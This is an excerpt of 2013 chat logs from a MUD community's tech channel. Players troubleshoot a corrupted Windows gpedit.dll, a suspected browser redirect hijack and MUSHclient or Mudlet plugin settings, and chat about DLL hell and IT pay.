T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Oy vey. Need gpedit installer for Windows 7, and it's been discontinued. Blasted corrupted gpedit.dll file, locks me out of my school laptop.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: There we go, MajorGeeks to the rescue... maybe.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Depends if my laptop is fixed or not.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: at least you don't have an entire company that is still clinging to xp
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: sucks to have school laptop get locked though now. finals are next week for me
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Same for me.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: cheers to burning out bright and drinking hard
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: It's finals for the current mod. I start a new mod one week after that.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Ugh. First try didn't work. Let's see...
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Tech: Book of Etzli wonders how the gpedit.dll got corrupted in the first place.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ixle Tech: .dll's are corrupt by nature
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ranrr Tech: What's wrong with DLLs (except for the obvious, that they are part of a windows system)?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: DLL hell is something all windows devs and support workers fear :-P
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Basically really really bad version cross compatibility, due to *certain* people coding based on quirks
T3/r7/2013-05-03.txt.gz:{chan ch=tech}RedRain Tech: http://www.desaware.com/tech/dllhell.aspx
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: I just want Group Policy to work again so that I can connect to the internet and all that good jazz without having problems.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Instead of having version 10.5 of a service installed, you need 10.5, then another program requires 9.2, and another needs 4.8, and perhaps even 1.3.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ranrr Tech: Yikes.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ranrr Tech: That's not a big problem in linux systems (but it is a small one... :)
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: In open source, if you break back compatibility people will fork and your code will be left in the dust. Windows doesn't have that issue, so they break with alarming regularity
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ranrr Tech: You mean that commercial software is worse than open source stuff in this regards? That's insane.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That and people will look at pre and post of a particular module, say "I don't need to limit myself to stinking p/p, I'll inspect the vars and break into the black box like I'm not supposed to" and then whinge when an update changes what should have remained abstracted
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: 0000021d [SR] Could not reproject corrupted file [ml:520{260},1:46{23}]"\??\C:\Windows\System32"\[1:20{10}]"gpedit.dll"; source file in store is also corrupted
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ranrr Tech: Well, that's what happens when people only learn faux coding.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: "Oh but you didn't mention the change to the way you were implementing that data container's lookup method" "Well no shit Sherlock, it keeps the same pre/post, beyond that is your issue"
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ranrr Tech: Most good coders move away from windows as soon as they can :D
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The best money is in windows, so a lot don't, also
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ranrr Tech: No, the best money is in embedded.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ixle Tech: Best money is in defense :p
T3/r7/2013-05-03.txt.gz:{chan ch=tech}RedRain Tech: best money is laundered!
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ranrr Tech: Working with weapons is not paid well, as any government job, but I guess it's more stable.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Working with defence comes in 2 types - internal, and external. I almost went into defence IT as an officer, but got pulled aside by a friend who works as a subcontractor and shown the difference in pay... easily 5x
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Once you swap out benefits (AU defence don't drop a cent on medical, basic food, accomodation, etc) it works out to mebbe 2-3x
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ranrr Tech: In any case, weapons development is mostly embedded systems. 
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: defence IT is a whole lot more than weapons RnD. Every soldier and his dog has a PC, and they run windows :-P
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ranrr Tech: I guess that's why we never hear about the AU military.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ranrr Tech: They are all just sitting around trying to get their pcs to work.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: there a script command to save-world in mushclient?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Thunderous Norton Tech: Save()
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: cool, thanks
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Thunderous Norton Tech: i believe you can do a save-as by Save("mynewfile")
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: no, just want to force it to save the current world file which i'll assume is the default
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Is there a gmcp module for campaigns and gqs? Or just for quests?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: is there a way to reset the s&d gui window when it gets stuck?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: anybody!?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Mob names: a-z, -, ' are the only possibilities, correct?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: yah
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: ok, looks like numbers also
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: and commas...
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: and "...
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So long as there is no () my pattern should still work though :\
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Jhav Tech: Too bad, there are mobs with ()s
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Jhav Tech: Or used to be (the one I recall was in Mirror)
T3/r7/2013-05-03.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: is there a site i could post database files so somebody can coppy it?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Depends. What db?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Tech: database files are just files...there are tons of filesharing sites
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Snaebjorn Tech: anyone have a nexus 4?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Heh, school IT guy decided it was beneficial to the school community to not have system restore functionality. *sigh*
T3/r7/2013-05-03.txt.gz:{chan ch=tech}HelperMan Hadar Tech: have to love school IT people
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Right now, my whole group policy system is corrupted, and I can't do a restore to fix it because none exist.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Also cannot find a proper GPEdit installer, whee.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Aurelia Tech: ny ideas as to why my shift+a and several other keys are not working in mudlet? Instead of getting a capital a when shift+a, I get a blank space
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Haha, my mind's all frazzled. I was thinking "shift+a? what does that do?" :p
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Makes a capital A in most cases :P
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Tech: Book of Etzli slaps Helperful Cheezburger.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Aurelia: Is it working in other programs?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Aurelia Tech: a few other keys as well, shift+e moves up, shift+w moves me north
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh, on a laptop?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Aurelia Tech: nope
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Aurelia Tech: and yes, it works in other programs
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Then why not use numpad?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Possible macros, then.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Aurelia Tech: Because I'm not trying to move, I'm just trying to get capital letters
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: nods, you have a macro for alt+a that's not defined to send anyhting, would be my guess
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Forgive Cheezburger, he's a bit dense sometimes.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Shift+a, not alt.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: What I meant, not what I typed :P
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Aurelia Tech: hrm ok, I'll take a look
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Tech: Book of Etzli is getting quite frustrated with this stupid corrupted dlls bit that forces no network ability on the school computer...
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Alucard Tech: f1 on mushclient is the helpfile. can i change that somehow and put something else on f1
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Alucard Tech: can change f2-f12 but not f1
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ayasinda Tech: yes
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ayasinda Tech: file>global preferences - General Tab
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Guess I'm going to have to settle on a hopeful Windows 7 repair install to fix everything. *sigh*
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Aurelia Tech: Is it possible to run a program without the dlls file? Or will it simply take longer?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: probably not possible
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Aurelia Tech: hmmkay
T3/r7/2013-05-03.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: what are you having trouble with specifically?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Aurelia Tech: I'm wondering if its possible to run mush without the dll/dlls file
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: no :P
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Aurelia Tech: Didn't think so :p
T3/r7/2013-05-03.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: uhh... yeah no... but why would you need to?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ayasinda Tech: you could have just tried
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Aurelia Tech: but, hope springs eternal
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Aurelia Tech: I'm tired of wiping my hard drive.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: you can reinstall it?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Aurelia Tech: Yeah, but I'm still tired of doing it
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: And what would being able to run a .exe without .dll's change about that? :P
T3/r7/2013-05-03.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: Aurelia may be looking for a 'portable' version of mush
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Aurelia Tech: I've tried deleting the registry files when I have the problem, but it doesn't change anything
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Mush is portable :P
T3/r7/2013-05-03.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: http://www.gammon.com.au/forum/?id=11128
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Install/run from dropbox
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Aurelia Tech: I tried running it in a sandbox but it wouldn't run in the more protective states
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: so I'm using google chrome and it's suddenly telling me google's security certificate isn't good and it won't lt me use it. Any advice? 
T3/r7/2013-05-03.txt.gz:{chan ch=tech}ElFeneri Tech: what if you use another browser Lilleana?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: hmmmm, let me try
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: it's saying the certificate isn't valid 
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: something about it directing me to dropbox.com instead of google.com
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: and when I hit "proceed anyways' it took me to dropbox....wtf :-( 
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: chrome wont let me proceed at all, but safari let me  
T3/r7/2013-05-03.txt.gz:{chan ch=tech}ElFeneri Tech: is your system time correct?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: yep
T3/r7/2013-05-03.txt.gz:{chan ch=tech}ElFeneri Tech: what if you change system time back one month or so?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: okay...I changed the system time to February....how doe sthis help google???
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: and yeah no change 
T3/r7/2013-05-03.txt.gz:{chan ch=tech}ElFeneri Tech: ok, just in case your certificate was expired
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: oh okay 
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Google.com should not have an expired certificate, really...
T3/r7/2013-05-03.txt.gz:{chan ch=tech}ElFeneri Tech: I doubt this only affects google.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Redirect to dropbox is weird.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: http://imgur.com/hLK3j6p
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: that is what Im getting 
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Could be a browser hijack/host redirect.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Similar to what Kojiro claims was happening on tech board, I believe.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}ElFeneri Tech: yeah, sounds like it. Doesn't make much sense that it tries to redirect to a non-malicious site though
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: yeah, that is what confused me - dropbox.com oh so scary! 
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: IP tracking, Elf, maybe?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: so it's something on my computer? 
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Lilleana.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Seems like it.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: hmmmmm
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: I've never had a problem before. Not even sure what to do with that info.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Read notes 6149 through 6154 on tech board. It may help you.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}ElFeneri Tech: Lilleana, if you try to access https://www.dropbox.com directly there is no problem?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: yep no problems
T3/r7/2013-05-03.txt.gz:{chan ch=tech}ElFeneri Tech: and visiting any other site works fine?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: yeah, so long as I have the direct URL it's fine 
T3/r7/2013-05-03.txt.gz:{chan ch=tech}ElFeneri Tech: so https://www.google.com works?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: no
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: that one does not work
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: redirect to dropbox certificate msg 
T3/r7/2013-05-03.txt.gz:{chan ch=tech}ElFeneri Tech: It does not sound like a normal redirect virus at all. Though my knowledge about them is from googling 5 mins.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Lilleana Tech: it doesn't seem normal to me either 
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ontuct Tech: how do you move a window after it moves up and the bar becomes hidden?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Vonliege Tech: reset the interface
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Vonliege Tech: or is this a generic windows window?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ontuct Tech: mush window.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Vonliege Tech: ya... reset
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Vonliege Tech: or click on the "window" (ALT-W) control panel and tile all the windows
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Vonliege Tech: that might only apply to differetn "worlds" though
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ontuct Tech: seems to apply to different worlds
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Vonliege Tech: try 'resetaard'
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: is it the search & destroy window?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}ElFeneri Tech: probably
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Vonliege Tech: there's a window for that?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ontuct Tech: yes
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: try xset reset gui
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Vonliege Tech: I've only ever been using the main window interface
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Vonliege Tech: Ok.. .I just read thru the script file and didn't see anything about a window... how can I bring it up?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ontuct Tech: xreset worked.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Ontuct Tech: xset rather
T3/r7/2013-05-03.txt.gz:{chan ch=tech}ElFeneri Tech: I changed the script to have the window reset where I want it instead of using the stored values.
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Vonliege Tech: how do I bring up the list of plugin elements?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Vonliege Tech: for example - I use three moons, and to get that window up, I would type 'mb moons show'..
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Vonliege Tech: how do I find such commands for all the other pluggins I have installed?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Tech: that would depend on the plugin author
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Tech: if you have bast stuff installed, type just "plugins"
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Tech: "ww help" will give you the helps for all winklewinkle's stuff that's installed
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Tech: bast and fiendish both have excellent wiki sections to their websites which detail info on the plugins
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Teklor Tech: is there a way to make text smaller wuth android clients?
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Tech: sure, go to options page, window, font size
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Teklor Tech: i don't see any options...other then like bg color etc
T3/r7/2013-05-03.txt.gz:{chan ch=tech}Teklor Tech: will figure it out tomorrow
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Welp, can't do repair install as I don't have a Windows 7 Professional key attached to the school laptop.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that never stopped me
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: Book of Etzli chuckles politely.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: I have no clue how the Group Policy client got corrupted, though. Along with many other files, apparently. :\
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: "The App Store is about to reach the 50 billion download mark. To celebrate, Apple is going to give the person who downloads the 50,000,000,000th app $10,000 in iTunes credit."
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: why cant i just have 10000 dollars
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: Book of Etzli smirks.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the hell would I do with 10k of itunes?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at The Jerk Fiendish.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Sonshi Tech: wonder how much they'll make off people trying to be the 50 billionth guy.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Sonshi Tech: common, legal, and often unintentional sort of quasi-scam...
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Jaenelle Tech: I did something unusual today... I installed a program from a disc. Like I used my cd/dvd drive thingie!
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Vonliege Tech: does anyone else notice a bit of a delay doing pretty much anything with Winkles 'mapper extender' enabled?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: not here
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Vonliege Tech: hadn't noticed any issues with just the SD plugin - but when I installed the extender and GUI, I have a good 400-500 ms pause 
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Redryn Tech: uninstall it then
T3/r7/2013-05-04.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: is your computer ancient?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Vonliege Tech: I did,,, and it went away... I'd REALLY like to use it, just not at the cost of the delay
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Vonliege Tech: it's not cutting edge.. 2 yrs... shouldn't have an issue with preformance
T3/r7/2013-05-04.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: try a different version
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Vonliege Tech: is there an archive?  I have the one off the "scriptlisious" google page
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Area runto scripts work fastest if you manually set a target room - otherwise you get an increase in processing time needed to find the destination.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: idk how the snd one works, but I seem to recall people talking about xset or something?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Vonliege Tech: the point and click was super spiffy... but I've decided that's just too automatic.  can't find a path 1 outa 4 times, and leaves me scratching my head as to where I ended up...
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If it can't find a path you need to mapper better :-P
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Vonliege Tech: for the zones I'm cping in, I ahve about 98% complete maps...just trips on stupid stuff.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Vonliege Tech: passdoor goes down, intercepted by agro... doesn't recover well.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: passdoor has a wish, and as for aggros you have mapper resume
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Myopic Tech: Vonliege setting cxeits helps on some
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: A poor workman blames his tools. Of course, so does someone with shitty tools, but tools are usually ok.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Vonliege Tech: I have about 950 cexits set... and reume only works if you started with 'mapper area %%1' to start with...
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Vonliege Tech: oh for pitty sake!  I come looking for help, and you all just bash me over the HEAD!  jeez!
T3/r7/2013-05-04.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: vakieh is such an elitist :(
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Vonliege Tech: zz
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: >>Found 2265 custom exits. :-P
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Redryn Tech: mapper resume works for me fine
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Redryn Tech: how do you count how many cexits you have?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Mapper resume works for any run managed with mapper goto
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: mapper cexits
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Redryn Tech: doesn't that spam you a craplaod
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: yes
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: 1 line per cexit, plus some trim
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: Redryn's face relaxes as he takes a deep breath.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Redryn Tech: hmm only 791 for me
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: local content though, so it's not nearly as bad as mud spam
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Redryn Tech: guess i'm less of a bot than both of you!
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Vonliege Tech: Vonliege: Birth Date   : [ 17 Feb 2013 ] Vakeih: Birth Date   : [ 29 Apr 2011 ]
T3/r7/2013-05-04.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: 1139. how do I make it automatically gquest for me? :(
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: install the autogquest plugin, guh
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Dexter knows where to get it
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Redryn Tech: you go through the mapper xml file and replace all the autowalk 0 with 1
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Redryn Tech: (it's an actual variable)
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Hueitliltic Tech: anyone uses mudlet on a mac?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Sneak Tech: no I use mush
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Sneak Tech: I have no lag running MUSH on win 7 on VMware Fusion 
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Sneak Tech: OS X 10.8.3 
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Hueitliltic Tech: hmmm
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Hueitliltic Tech: i'm not using 10.8.3.. using the one before that.. snow leopard?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Sneak Tech: before that is Lion, 10.8 is ML
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Hueitliltic Tech: before that?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Hueitliltic Tech: well basically i'm only a leopard :( 
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Sneak Tech: before Lion is Snow Leopard
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Sneak Tech: still can run parallels or VMware
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Sneak Tech: or wine
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Sneak Tech: which Mac?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Hueitliltic Tech: used wine for a while.. it had some issues trying to run mush
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Hueitliltic Tech: hence moved to this... mudlet.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Sneak Tech: I never had issues, but I decided to install VMware Fusion instead when I bought this
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Elkore Tech: im using mush with wine - what problems did you have?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Alucard Tech: does anyone know how to disable the helpfile on f1 button on mushclient. I wanna use that button for something else
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Sneak Tech: if you run parallels or fusion, and choose to run unity, it becomes like another app window
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Hueitliltic Tech: the map doesnt work.. lol.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Sonshi Tech: somewhere in global preferences, I believe.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Hueitliltic Tech: e.g. its a fuzzy blurred out screen for me
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Dresory Tech: I am running parallels, works great, but that costs money 
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Sneak Tech: well there are always other less desirable ways
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Sneak Tech: idk, I should have done parallels, not sure why I chose to run fusion :p
T3/r7/2013-05-04.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: is there a way to setup a trigger to fire every time i change rooms? be it a portal, or custom exit or newsud, or death, or ..??
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Not directly, no.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Can hack in a hook to the mapper though
T3/r7/2013-05-04.txt.gz:{chan ch=tech}MightyChick Tech: anyone know how to make a macro for moving on a laptop? typing 'n'+enter gets rather annoying. and i dont have the numberpad on the right. and the arrows only scroll through text
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: It will depend on your client
